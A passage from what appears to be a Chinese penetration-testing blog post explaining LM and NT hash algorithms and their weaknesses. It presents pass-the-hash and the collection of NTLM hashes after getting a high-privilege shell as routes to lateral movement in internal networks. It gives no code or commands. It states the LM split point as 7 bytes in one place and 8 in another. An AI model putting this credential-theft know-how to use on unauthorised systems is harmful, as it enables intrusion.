若解密不成功,则可以直接进行PTH(Pass The Hash)攻击
444.jpg

 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:
555.jpg

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
  1. 将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)
  2. 密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)
  3. 对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥
  4. 将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文
  5. 2个8字节的密文连成1个16字节的密文,称为LM Hash

666.jpg

 
LM Hash问题:
  1. 密码不区分大小写
  2. 密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值
  3. DES算法强度不够

 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
  1. 将明文口令转换成十六进制的格式
  2. 把十六进制转换成Unicode格式,每个字节之后添加0x00
  3. 再对Unicode字符串作MD4加密,生成32位的十六进制数字串

 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前